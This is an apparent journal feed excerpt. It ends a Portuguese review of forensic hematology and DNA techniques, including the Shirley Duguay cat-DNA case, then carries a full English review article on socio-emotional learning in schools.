<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Da mesma maneira, a utilização do RNA mensageiro para identificação&nbsp; de fluidos corporais enfrenta um adversário natural no Brasil: o clima. A estabilidade do RNA é drasticamente comprometida em ambientes de alta temperatura e umidade,&nbsp; típicos da maior parte do território nacional. Diferente do DNA, que é mais resistente, o RNA exige uma cadeia de custódia extremamente ágil e refrigerada desde a cena do&nbsp; crime (PARADELA et al., 2019). A logística ainda é incompatível com a realidade&nbsp; operacional de muitas viaturas e IMLs no interior do país, onde o tempo entre a&nbsp; coleta e a chegada ao laboratório pode levar muitas horas (CHEMELLO, 2020).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Igualmente comprometida é a eficácia da Análise de Padrões de Manchas de Sangue (BPA) e das técnicas&nbsp; espectroscópicas depende diretamente da preservação do local de crime, um dos&nbsp; maiores desafios da segurança pública brasileira. A interpretação da dinâmica de&nbsp; sangue é inviabilizada pela frequente contaminação da cena por curiosos, imprensa&nbsp; ou primeiros socorristas antes da chegada da perícia (TOCCHETTO, 2021). Da&nbsp; mesma forma, embora a espectroscopia (Raman/FTIR) prometa análises não&nbsp; destrutivas, a falta de equipamentos portáteis na ponta da investigação obriga o&nbsp; transporte de suportes inteiros (como pedaços de parede ou móveis) para o&nbsp; laboratório, o que é logisticamente inviável na maioria das ocorrências cotidianas&nbsp; (VELHO, 2017).&nbsp;</p>



<p class="wp-block-paragraph">5.3. TÉCNICAS DE BIOLOGIA MOLECULAR APLICADA À HEMATOLOGIA&nbsp; FORENSE&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A Biologia Molecular revolucionou a investigação criminal e a perícia forense a&nbsp; partir da década de 1980, tornando-se, atualmente, a ferramenta de individualização mais&nbsp; poderosa disponível para a justiça. A aplicação dessas técnicas no campo da Hematologia&nbsp; Forense é crucial, pois o sangue, um dos vestígios biológicos mais frequentemente&nbsp; encontrados em cenas de crime, é uma fonte rica em DNA nuclear, presente nos leucócitos.&nbsp; A análise molecular permite ir além da simples identificação da natureza do vestígio,&nbsp; possibilitando a determinação do perfil genético do doador do material (FRUEHWIRTH&nbsp; et al., 2015).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O DNA genômico apresenta alta estabilidade química e alto potencial discriminatório, podendo ser extraído de vestígios sanguíneos. O processo laboratorial de análise de DNA em amostras forenses, como manchas de sangue, é composto por etapas rígidas para&nbsp; garantir a precisão e a validade científica do resultado (FRUEHWIRTH et al., 2015). A primeira etapa crítica para o sucesso da análise molecular é a coleta e preservação&nbsp; do material biológico na cena do crime. O sangue, por ser um vestígio orgânico, está sujeito à degradação por fatores ambientais como calor, umidade e microrganismos. O&nbsp; processo deve seguir regras rígidas para evitar a contaminação e garantir a cadeia de&nbsp; custódia (FRUEHWIRTH et al., 2015).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A viabilidade do DNA, mesmo em amostras que não são sangue, é alta. Estudos&nbsp; demonstram que vestígios biológicos apresentam alta taxa de sucesso na extração de DNA, com amostras de swab mantendo-se viáveis por até 180 dias sob condições adequadas de&nbsp; armazenamento a baixa temperatura (ALBERTO,2016).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Após a coleta, o vestígio é submetido à extração e purificação do DNA, separando-o&nbsp; de outras substâncias celulares, proteínas ou contaminantes químicos. A eficiência dessa&nbsp; fase é vital para que as análises subsequentes não tenham o seu poder discriminatório&nbsp; reduzido (FRUEHWIRTH et al., 2015).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Em seguida, o DNA é quantificado. Esta etapa é essencial para determinar a&nbsp; concentração de DNA humano viável na amostra. A quantificação é frequentemente&nbsp; realizada por técnicas como a RT-PCR (PCR em Tempo Real), que informa se há DNA&nbsp; suficiente para a próxima fase, evitando que o excesso ou a falta de material prejudiquem&nbsp; a amplificação (FRUEHWIRTH et al., 2015).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">5.3.1 A Reação em Cadeia da Polimerase (PCR) e o Padrão STR&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A Reação em Cadeia da Polimerase (PCR) é a técnica molecular que atua como a&nbsp; espinha dorsal da genética forense. Seu objetivo é amplificar seletivamente regiões específicas do &nbsp; DNA que são úteis para a individualização, mesmo quando a quantidade de&nbsp; DNA original é extremamente baixa, como ocorre em pequenos vestígios de sangue (FRUEHWIRTH et al., 2015).&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O marcador genético de escolha para a identificação humana é o STR (Short Tandem&nbsp; Repeats). Os STRs são sequências curtas de repetição distribuídas no genoma, e a variação&nbsp; no número dessas repetições entre os indivíduos (alelos) confere-lhes um poder&nbsp; discriminatório altíssimo. O método dos STRs permite a análise simultânea de múltiplos&nbsp; marcadores (kits multiplex), gerando um perfil de DNA que é único (FRUEHWIRTH et&nbsp; al., 2015).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Internacionalmente, o sistema CODIS (Combined DNA Index System) padroniza o&nbsp; uso de um conjunto de marcadores STRs. O uso de 20 marcadores, por exemplo, reduz a&nbsp; probabilidade de coincidência para valores extremamente baixos, garantindo que o&nbsp; perfil de cada indivíduo seja exclusivo (FRUEHWIRTH et al., 2015).</p>



<p class="wp-block-paragraph">5.3.2 Alternativas e Avanços: DNA Mitocondrial e NGS&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Em situações onde o vestígio sanguíneo está altamente degradado (como em sangue&nbsp; muito antigo ou exposto a condições extremas), o DNA nuclear pode estar fragmentado,&nbsp; tornando a análise de STRs desafiadora. Nesses casos, a análise de DNA Mitocondrial&nbsp; (DNAmit) é utilizada como técnica alternativa, pois é mais resistente à degradação e está&nbsp; presente em múltiplas cópias por célula, sendo útil para traçar linhagens maternas&nbsp; (FRUEHWIRTH et al., 2015).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Adicionalmente, o Sequenciamento de Nova Geração (NGS) tem trazido uma nova&nbsp; revolução. O NGS permite analisar simultaneamente várias regiões do DNA, inclusive&nbsp; SNPs (Single Nucleotide Polymorphism), possibilitando não apenas a identificação de&nbsp; misturas complexas de DNA, mas também a previsão de características físicas (como cor&nbsp; de cabelo ou olhos) do indivíduo que deixou o sangue (BEHRENS et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">5.3.3 Utilização da biologia molecular como fonte resolutória de crimes&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Um crime que podemos citar, utilizando a biologia molecular, é o caso de Shirley&nbsp; Duguay, ocorrido na Ilha do Príncipe Eduardo, Canadá, que é considerado um marco na&nbsp; história da genética forense por representar o primeiro julgamento criminal no qual DNA&nbsp; não-humano foi usado como prova decisiva. A vítima desapareceu em 1994 e seu corpo&nbsp; foi encontrado meses depois, dando início a uma investigação que rapidamente levantou&nbsp; suspeitas sobre seu parceiro, Douglas Beamish. O uso inovador de material biológico de&nbsp; origem animal transformou esse caso em referência mundial (MENOTTI-RAYMOND, M. et al., 1995)</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Durante a perícia, uma jaqueta ensanguentada foi encontrada próxima ao local onde o corpo havia sido ocultado. Ao analisá-la, os investigadores identificaram 27 pelos brancos&nbsp; de gato, o que chamou atenção, pois Beamish convivia com um gato da mesma coloração,&nbsp; chamado Snowball. A presença desses vestígios levantou a hipótese de que o animal pudesse ter relação indireta com o crime, conectando o suspeito ao objeto encontrado&nbsp; (MENOTTI-RAYMOND, M. et al., 1995).</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Como não existiam protocolos forenses validados para DNA animal na época, o material&nbsp; foi enviado ao Laboratório de Diversidade Genômica do Instituto Nacional de Câncer, onde a&nbsp; pesquisadora Mitzi Frank Menotti-Raymond e sua equipe desenvolveram um painel de&nbsp; microssatélites (STRs) específico para felinos. Após as análises, concluiu-se que os pelos&nbsp; presentes na jaqueta tinham perfil genético idêntico ao do gato Snowball, com&nbsp; probabilidade extremamente baixa de coincidência com outro felino (MENOTTI-RAYMOND, M. et al., 1995).</p>



<p class="wp-block-paragraph">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Os resultados obtidos serviram como forte evidência complementar e foram apresentados&nbsp; no julgamento de Douglas Beamish, marcando a primeira admissão oficial de DNA de animal como prova judicial em um tribunal criminal. Essa descoberta ampliou as fronteiras da biologia molecular forense, demonstrando seu potencial para além de vestígios&nbsp; humanos e influenciando pesquisas e protocolos adotados internacionalmente (MENOTTI-RAYMOND, M. et al., 1995).</p>



<p class="wp-block-paragraph"><strong>6. CONCLUSÃO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">● Os nossos achados identificaram que o profissional biomédico desempenha um&nbsp; papel indispensável no laboratório pericial. Devido à sua sólida formação em&nbsp; análises clínicas, biologia molecular e genética, o biomédico é o profissional&nbsp; legalmente habilitado e tecnicamente competente para executar todas as fases de&nbsp; análise do vestígio sanguíneo: desde a realização de testes presuntivos e&nbsp; confirmatórios, até a complexa extração, quantificação e tipagem de DNA. Sua&nbsp; atuação rigorosa, pautada no rigor científico e ético, é fundamental para manter a&nbsp; Cadeia de Custódia da prova, garantindo sua integridade e validade perante o&nbsp; tribunal.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">● O trabalho também evidenciou que as metodologias forenses se dividem entre as&nbsp; áreas Analítica e Reconstrutiva e técnicas como análise de Padrões de Manchas de&nbsp; Sangue (BPA) permite a reconstrução da dinâmica dos crimes, inferindo posições&nbsp; de vítima e agressor. Por sua vez, a Biologia Molecular é a principal fonte de prova&nbsp; individualizadora. O uso da Reação em Cadeia da Polimerase (PCR) em conjunto&nbsp; com a análise de STRs (Short Tandem Repeats) é o padrão-ouro para a&nbsp; identificação humana por meio de vestígios sanguíneos, com o potencial de gerar&nbsp; perfis genéticos únicos que alimentam o Banco Nacional de Perfis Genéticos&nbsp; (BNPG), contribuindo decisivamente para a elucidação de crimes violentos no&nbsp; Brasil.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">● Portanto, a Hematologia Forense, apoiada em técnicas laboratoriais avançadas e na&nbsp; expertise do Biomédico, transforma o vestígio sanguíneo em uma poderosa arma na elucidação de casos. O estudo conclui que a contínua integração e o domínio&nbsp; dessas metodologias por profissionais biomédicos são cruciais para o&nbsp; aprimoramento da perícia criminal e para a garantia de uma justiça mais precisa e&nbsp; baseada em evidências concretas.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>7. REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">ALBERTO, R. E. Stability of human DNA in various sample types stored long-term under different temperature conditions. Forensic Science International: Genetics Supplement Series, v. 6, n. 1, p. e45–e47, 2016.</p>



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		<title>THE ROLE OF SOCIO-EMOTIONAL INTELLIGENCE IN SCHOOLS: STRATEGIES FOR BUILDING EMOTIONAL AND SOCIAL COMPETENCE</title>
		<link>https://revistaft.com.br/the-role-of-socio-emotional-intelligence-in-schools-strategies-for-building-emotional-and-social-competence/</link>
		
		<dc:creator><![CDATA[Revistaft AR]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 12:32:45 +0000</pubDate>
				<category><![CDATA[Ciências Biológicas]]></category>
		<category><![CDATA[Ciências da Saúde]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/ar10202512100932 Lucas Wilker de Oliveira NunesHudson Faria de Paula JúniorLariele Bueno Miranda de FreitasAntonio de Freitas Gonçalves Júnior Abstract Socio-emotional intelligence refers to the ability to understand and manage emotions while interacting empathetically and effectively with others. In the educational context, this competence goes beyond cognitive intelligence, fostering students&#8217; holistic development and contributing [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ar10202512100932</p>



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<p class="has-text-align-right wp-block-paragraph">Lucas Wilker de Oliveira Nunes<br>Hudson Faria de Paula Júnior<br>Lariele Bueno Miranda de Freitas<br>Antonio de Freitas Gonçalves Júnior</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Abstract</strong></p>



<p class="wp-block-paragraph">Socio-emotional intelligence refers to the ability to understand and manage emotions while interacting empathetically and effectively with others. In the educational context, this competence goes beyond cognitive intelligence, fostering students&#8217; holistic development and contributing to better academic performance and emotional well-being. Socio-emotional learning (SEL) programs have demonstrated positive impacts by creating more inclusive and collaborative learning environments. Teachers play a crucial role in this process, requiring continuous training to implement strategies such as mindfulness and empathy promotion. These practices enhance emotional balance, conflict resolution, and interpersonal relationships, while also helping to prevent issues like bullying and encouraging social cohesion. However, challenges such as cultural resistance, lack of resources, and the prioritization of academic content hinder the large-scale adoption of SEL programs. Overcoming these obstacles demands public policies and partnerships between schools, families, and communities. The inclusion of socio-emotional skills in the Brazilian National Common Curricular Base (BNCC) highlights the growing recognition of their importance in education. Such integration prepares students to face 21st-century challenges by promoting empathy, resilience, and leadership skills. In conclusion, socio-emotional intelligence is not only a pedagogical strategy but also an investment in the future. It fosters emotionally aware and socially responsible individuals, building more harmonious and inclusive communities.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Socio-emotional intelligence; Learning environments; Mindfulness; Empathy; Emotional well-being; Public policies.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>Introduction</strong></p>



<p class="wp-block-paragraph">Socio-emotional intelligence, a concept widely discussed in the fields of psychology and education, refers to the ability to understand and manage one&#8217;s emotions, as well as to interact empathetically and effectively with others (GOLEMAN, 1995). This competence, increasingly valued, transcends traditional notions of cognitive intelligence, encompassing emotional and social aspects essential for the integral development of individuals.</p>



<p class="wp-block-paragraph">As pointed out by Salovey and Mayer (1990), socio-emotional intelligence can be understood as a subset of emotional intelligence, involving the processing of emotions and their application in social interactions. These authors defined this ability as a mechanism to perceive, understand, use, and manage emotions in ways that facilitate thought and behavior.</p>



<p class="wp-block-paragraph">In the educational context, socio-emotional intelligence stands out as an indispensable tool for the development of students who face emotional and social challenges in the school environment. According to Zins et al. (2004), programs promoting socio-emotional learning (SEL) are directly related to better academic and behavioral outcomes and contribute to students&#8217; emotional health.</p>



<p class="wp-block-paragraph">The relevance of socio-emotional intelligence in schools is corroborated by Durlak et al. (2011), who conducted a meta-analysis of SEL programs and identified significant impacts on improving academic performance and reducing problematic behaviors. These results indicate that working on socio-emotional competencies in the classroom is essential for creating more inclusive and conducive learning environments.</p>



<p class="wp-block-paragraph">According to Jennings and Greenberg (2009), teachers play a fundamental role in this process, as emotionally competent educators create a safer and more collaborative environment, fostering student engagement. Thus, investing in the socio-emotional training of teachers is as important as developing these competencies in students. The development of socio-emotional intelligence is also aligned with 21st-century demands. As highlighted by the World Economic Forum (2016), skills such as empathy, problem-solving, and effective communication are among the most valued in today’s job market. In this sense, schools play a crucial role in preparing students for future challenges in both personal and professional spheres.</p>



<p class="wp-block-paragraph">Moreover, empathy, an essential component of socio-emotional intelligence, is a determining factor for harmonious coexistence and conflict resolution. Studies such as Eisenberg et al. (2006) associate empathy with pro-social behaviors, such as cooperation and helping others, which are fundamental for strengthening interpersonal relationships. Kabat-Zinn (1990) further highlights that practices such as mindfulness can significantly contribute to developing socio-emotional intelligence, as they help individuals become more aware of their emotions and reactions. Integrating these practices into the school curriculum can be an effective strategy for promoting emotional balance and student well-being.</p>



<p class="wp-block-paragraph">On the other hand, the absence of socio-emotional intelligence can lead to relationship difficulties, interpersonal conflicts, and mental health problems. According to Lopes et al. (2006), individuals with low emotional competence tend to be more vulnerable to stress and anxiety, which can negatively affect their academic and social performance. However, implementing SEL programs faces challenges such as lack of resources and resistance from some educators who still prioritize traditional academic content. According to CASEL (2020), overcoming these barriers requires a mindset shift within educational institutions, with the adoption of public policies that encourage students&#8217; holistic development.</p>



<p class="wp-block-paragraph">Another notable point is the influence of socio-emotional intelligence on leadership development. Goleman, Boyatzis, and McKee (2002) assert that emotionally intelligent leaders are more effective in team management and creating collaborative environments. This perspective reinforces the importance of cultivating these competencies from the early years of education.</p>



<p class="wp-block-paragraph">In Brazil, the National Common Curricular Base (BNCC) (BRASIL, 2017) included the development of socio-emotional competencies as one of the guidelines for basic education, recognizing their relevance to students’ holistic growth. This inclusion reflects progress in valuing these skills within the Brazilian educational context.</p>



<p class="wp-block-paragraph">Although there is consensus about the benefits of socio-emotional intelligence, it is important to emphasize that its development requires continuous and integrated effort. According to Ryan and Deci (2000), intrinsic motivation plays a crucial role in this process, as it encourages individuals to seek self-awareness and personal improvement.</p>



<p class="wp-block-paragraph">Thus, the present study seeks to discuss the relevance of socio-emotional intelligence in the school environment, exploring effective strategies for its development and highlighting its positive impacts on students, teachers, and the school community as a whole.</p>



<p class="wp-block-paragraph"><strong>2. Methodology</strong></p>



<p class="wp-block-paragraph">This study was developed based on a qualitative and exploratory approach, aiming to understand and analyze the impact of socioemotional intelligence in the school environment. The adopted methodology consisted of a bibliographic review of scientific publications, institutional reports, and official documents on the subject, focusing on works that highlight the relevance of socioemotional learning (SEL) and its application in the educational context.</p>



<p class="wp-block-paragraph">2.1 Data Collection</p>



<p class="wp-block-paragraph">Data collection was conducted through academic databases such as Scielo, PubMed, Google Scholar, and other reliable platforms. Keywords used included &#8220;socioemotional intelligence in schools,&#8221; &#8220;socioemotional learning,&#8221; &#8220;emotional competencies in teaching,&#8221; and &#8220;impact of SEL in education.&#8221; The timeframe considered publications between 2000 and 2025, prioritizing recent and relevant studies for the contemporary educational context.</p>



<p class="wp-block-paragraph">2.2 Inclusion and Exclusion Criteria</p>



<p class="wp-block-paragraph">Articles that addressed the concept of socioemotional intelligence, educational programs focused on SEL, impacts on academic performance and student behavior, and analyses of practical implementation in schools were included. Studies that did not present a direct or applicable approach to the school context were excluded, as well as those outside the defined timeframe.</p>



<p class="wp-block-paragraph">2.3 Data Analysis and Organization</p>



<p class="wp-block-paragraph">The collected data were analyzed using content analysis techniques, as proposed by Bardin (2016). This approach allowed the identification of thematic categories such as:</p>



<ul class="wp-block-list">
<li>Challenges and limitations in applying SEL in schools.</li>



<li>Importance of socioemotional intelligence in the school environment;</li>



<li>Strategies for SEL implementation;</li>



<li>Results regarding academic performance and social interactions;</li>
</ul>



<p class="wp-block-paragraph">2.4 Validation Procedures</p>



<p class="wp-block-paragraph">To ensure data consistency and reliability, multiple studies on the same topic were analyzed. Additionally, sources were compared to validate result reproducibility and identify points of convergence and divergence in scientific discussions.</p>



<p class="wp-block-paragraph">2.5 Methodological Limitations</p>



<p class="wp-block-paragraph">This research is limited to a bibliographic review and therefore does not present primary data collected directly from schools. Furthermore, the analysis is conditioned by the availability and accessibility of published studies, which may exclude information from specific or emerging contexts.</p>



<p class="wp-block-paragraph">The adopted methodology provided a comprehensive and well-founded perspective on socioemotional intelligence and its role in schools. The results are presented in the discussion and conclusion sections. If further empirical studies are required, this approach can be expanded in future investigations.</p>



<p class="wp-block-paragraph"><strong>Discussion</strong></p>



<p class="wp-block-paragraph">The development of socioemotional intelligence in the school environment represents one of the most significant advancements in contemporary pedagogical approaches, providing students with essential tools to cope with the emotional and social challenges of the 21st century. Its inclusion in the curriculum, as stipulated by the Brazilian Common Core Curriculum (BNCC), reflects the recognition that education should go beyond academic content and promote the holistic development of students (BRASIL, 2017).</p>



<p class="wp-block-paragraph">Although socioemotional intelligence has proven benefits, its implementation in schools faces significant challenges. The lack of adequate teacher training is one of the main obstacles, as educators play a central role in developing these skills (JENNINGS; GREENBERG, 2009). For schools to become transformative spaces, it is essential to invest in teacher training, preparing educators to act as facilitators of socioemotional practices. Studies such as Durlak et al. (2011) demonstrate that socioemotional learning (SEL) programs promote significant improvements in students&#8217; academic performance, behavior, and emotional health. These findings reinforce that socioemotional skills are not merely complementary to academic learning but are essential for more consistent and balanced performance.</p>



<p class="wp-block-paragraph">The development of empathy, one of the key competencies of socioemotional intelligence, is particularly relevant in school environments. Eisenberg et al. (2006) highlight that empathy is directly linked to prosocial behaviors, such as cooperation and mutual respect, contributing to the creation of a more harmonious and inclusive school environment. Moreover, programs integrating mindfulness have proven effective in strengthening students&#8217; emotional balance. Kabat-Zinn (1990) points out that mindfulness practices can reduce anxiety, improve focus, and increase emotional awareness, contributing to more positive academic and social outcomes. However, the success of these practices depends on their adaptation to the cultural and pedagogical realities of schools.</p>



<p class="wp-block-paragraph">Another relevant aspect of socioemotional intelligence is its role in bullying prevention. The ability to manage emotions and establish empathetic relationships can significantly reduce cases of school violence, promoting a safer environment for all students (ZINS et al., 2004). Schools have the opportunity to use SEL programs to foster a climate of respect and solidarity among students.</p>



<p class="wp-block-paragraph">On the other hand, it is important to recognize that implementing SEL programs requires joint efforts among schools, families, and communities. As emphasized by CASEL (2020), partnerships among these stakeholders are essential to ensure the continuity and effectiveness of socioemotional learning, both inside and outside the school environment.</p>



<p class="wp-block-paragraph">Socioemotional intelligence is also directly associated with leadership development. According to Goleman, Boyatzis, and McKee (2002), emotionally intelligent leaders are more effective in motivating and engaging their teams. By promoting these skills early on, schools contribute to forming future leaders who are more empathetic and prepared to face the challenges of a constantly evolving society. Although evidence highlights the benefits of SEL, there is an urgent need for public policies to ensure its large-scale implementation. Currently, many schools face financial and structural difficulties in adopting innovative practices, limiting the reach of socioemotional intelligence programs (DURLAK et al., 2011).</p>



<p class="wp-block-paragraph">Another challenge lies in the resistance of some educators and school administrators, who prioritize academic content over socioemotional skills. This perspective, often rooted in traditional educational systems, needs to be restructured so that schools can meet the demands of a globalized and complex world (WORLD ECONOMIC FORUM, 2016).</p>



<p class="wp-block-paragraph">It is also necessary to consider the cultural and social diversity present in schools. SEL programs must be adapted to the different realities of students, respecting their experiences and promoting inclusion. Ryan and Deci (2000) emphasize that socioemotional learning should stimulate students&#8217; intrinsic motivation, valuing their uniqueness and potential. Socioemotional intelligence is a skill that transcends the school environment, directly impacting students&#8217; lives in their family and social contexts. Lopes et al. (2006) point out that emotionally competent individuals exhibit better interpersonal relationships and greater capacity to handle adversity—characteristics essential for lifelong well-being.</p>



<p class="wp-block-paragraph">Finally, the inclusion of socioemotional intelligence practices can contribute to reducing educational inequalities. Students from vulnerable backgrounds often face greater emotional challenges, which can be mitigated through the development of these skills (ZINS et al., 2004). Thus, investing in SEL is not only a pedagogical issue but also a matter of social equity.</p>



<p class="wp-block-paragraph">In summary, socioemotional intelligence emerges as a fundamental pillar for the holistic development of students and for building more humanized schools. Despite the challenges associated with its implementation, the benefits far outweigh the difficulties, demonstrating that socioemotional learning is an indispensable tool for preparing students for the challenges of the future.</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>Conclusion</strong></p>



<p class="wp-block-paragraph">Socioemotional intelligence emerges as an indispensable element in building an educational model that transcends the exclusive focus on academic performance and promotes the holistic development of students. Throughout this article, it has become evident that socioemotional learning (SEL) not only contributes to students&#8217; emotional well-being but also enhances their social interactions and academic performance (DURLAK et al., 2011). These skills are essential for preparing students for the challenges of an increasingly dynamic and complex society.</p>



<p class="wp-block-paragraph">The school environment, by its very nature, is a privileged space for developing these competencies. Through practices such as mindfulness, fostering empathy, and creating a climate of mutual respect, schools can become centers of social and emotional transformation (KABAT-ZINN, 1990; EISENBERG et al., 2006). However, the successful implementation of these practices requires continuous teacher training and raising awareness across the school community about the importance of SEL.</p>



<p class="wp-block-paragraph">Furthermore, socioemotional intelligence plays a crucial role in promoting equity and inclusion. Students from vulnerable backgrounds, often exposed to more intense emotional challenges, can find in schools a safe space to develop resilience and interpersonal skills (ZINS et al., 2004). In this sense, public policies that ensure adequate resources and infrastructure are fundamental to expanding the benefits of SEL to all educational institutions.</p>



<p class="wp-block-paragraph">Although challenges such as cultural resistance and resource limitations persist, the emphasis on socioemotional skills in the educational context, as established by the Brazilian Common Core Curriculum (BNCC), represents a significant advancement (BRASIL, 2017). This integration reinforces the commitment to preparing students to be well-rounded citizens, capable of managing their emotions, building healthy relationships, and contributing positively to society.</p>



<p class="wp-block-paragraph">Finally, socioemotional intelligence in schools should not be seen merely as a pedagogical strategy but as an investment in the future. By fostering individuals who are more empathetic, resilient, and emotionally aware, we are also building more harmonious and supportive communities. Thus, it is up to schools, administrators, teachers, and families to work together to ensure that these competencies are effectively developed, consolidating an educational model that meets the demands and aspirations of the 21st century.</p>



<p class="wp-block-paragraph"><strong>Referências Bibliográficas</strong></p>



<p class="wp-block-paragraph">BRASIL. Ministério da Educação. <strong>Base Nacional Comum Curricular (BNCC)</strong>. Brasília, DF: MEC, 2017. Disponível em: http://basenacionalcomum.mec.gov.br/. Acesso em: 7 jan. 2025.</p>



<p class="wp-block-paragraph">CASEL. <strong>What is SEL?</strong> Collaborative for Academic, Social, and Emotional Learning, 2020. Disponível em: https://casel.org/. Acesso em: 7 jan. 2025.</p>



<p class="wp-block-paragraph">DURLAK, J. A.; WEISSBERG, R. P.; DYMNICKI, A. B.; TAYLOR, R. D.; SCHELLINGER, K. B. <strong>The impact of enhancing students’ social and emotional learning: a meta-analysis of school-based universal interventions</strong>. Child Development, v. 82, n. 1, p. 405–432, 2011. Disponível em: https://doi.org/10.1111/j.1467-8624.2010.01564.x.</p>



<p class="wp-block-paragraph">EISENBERG, N.; FABES, R. A.; SPINRAD, T. L. <strong>Prosocial development</strong>. In: DAMON, W.; LERNER, R. M. (eds.). Handbook of child psychology: social, emotional, and personality development. 6. ed. Hoboken: Wiley, 2006. p. 646–718.</p>



<p class="wp-block-paragraph">FÓRUM ECONÔMICO MUNDIAL. <strong>The Future of Jobs: Employment, Skills and Workforce Strategy for the Fourth Industrial Revolution</strong>. [S. l.]: WEF, 2016. Disponível em: https://www.weforum.org/reports/the-future-of-jobs. Acesso em: 7 jan. 2025.</p>



<p class="wp-block-paragraph">GOLEMAN, D. <strong>Inteligência emocional: a teoria revolucionária que redefine o que é ser inteligente</strong>. Rio de Janeiro: Objetiva, 1995.</p>



<p class="wp-block-paragraph">GOLEMAN, D.; BOYATZIS, R.; MCKEE, A. <strong>Primal leadership: realizing the power of emotional intelligence</strong>. Boston: Harvard Business School Press, 2002.</p>



<p class="wp-block-paragraph">JENNINGS, P. A.; GREENBERG, M. T. <strong>The prosocial classroom: teacher social and emotional competence in relation to student and classroom outcomes</strong>. Review of Educational Research, v. 79, n. 1, p. 491–525, 2009. Disponível em: https://doi.org/10.3102/0034654308325693.</p>



<p class="wp-block-paragraph">KABAT-ZINN, J. <strong>Full catastrophe living: using the wisdom of your body and mind to face stress, pain, and illness</strong>. New York: Delacorte, 1990.</p>



<p class="wp-block-paragraph">LOPES, P. N.; SALOVEY, P.; STRAUS, R. <strong>Emotional intelligence, personality, and the perceived quality of social relationships</strong>. Personality and Individual Differences, v. 35, n. 3, p. 641–658, 2006. Disponível em: https://doi.org/10.1016/j.paid.2006.02.004.</p>



<p class="wp-block-paragraph">MAYER, J. D.; SALOVEY, P. <strong>Emotional intelligence</strong>. Imagination, Cognition and Personality, v. 9, n. 3, p. 185–211, 1990. Disponível em: https://doi.org/10.2190/DUGG-P24E-52WK-6CDG.</p>



<p class="wp-block-paragraph">RYAN, R. M.; DECI, E. L. <strong>Self-determination theory and the facilitation of intrinsic motivation, social development, and well-being</strong>. American Psychologist, v. 55, n. 1, p. 68–78, 2000. Disponível em: https://doi.org/10.1037/0003-066X.55.1.68.</p>



<p class="wp-block-paragraph">ZINS, J. E.; PAYTON, J. W.; WEISSBERG, R. P.; UTTING, P. A. <strong>Social and emotional learning: a framework for promoting mental health and reducing risk behavior in children and youth</strong>. The Prevention Researcher, v. 11, n. 2, p. 6–10, 2004.</p>
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		<title>A GAMIFICAÇÃO COMO FERRAMENTA DE ENSINO-APRENDIZAGEM EM CIÊNCIAS</title>
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		<dc:creator><![CDATA[Revistaft RA]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 01:10:05 +0000</pubDate>
				<category><![CDATA[Ciências Biológicas]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[GAMIFICATION AS A TEACHING-LEARNING TOOL IN CIÊNCIAS REGISTRO DOI: 10.69849/revistaft/ra10202512092208 Erivelton Vitório Avelino dos SantosOrientadora: Mabel Alencar do Nascimento Rocha RESUMO Este estudo será de suma importância, para uma melhor eficiência, os ambientes de aprendizagem requerem por parte dos estudantes do 8º ano do fundamental II, onde apresentará um certo nível motivacional, destacando o curso [&#8230;]]]></description>
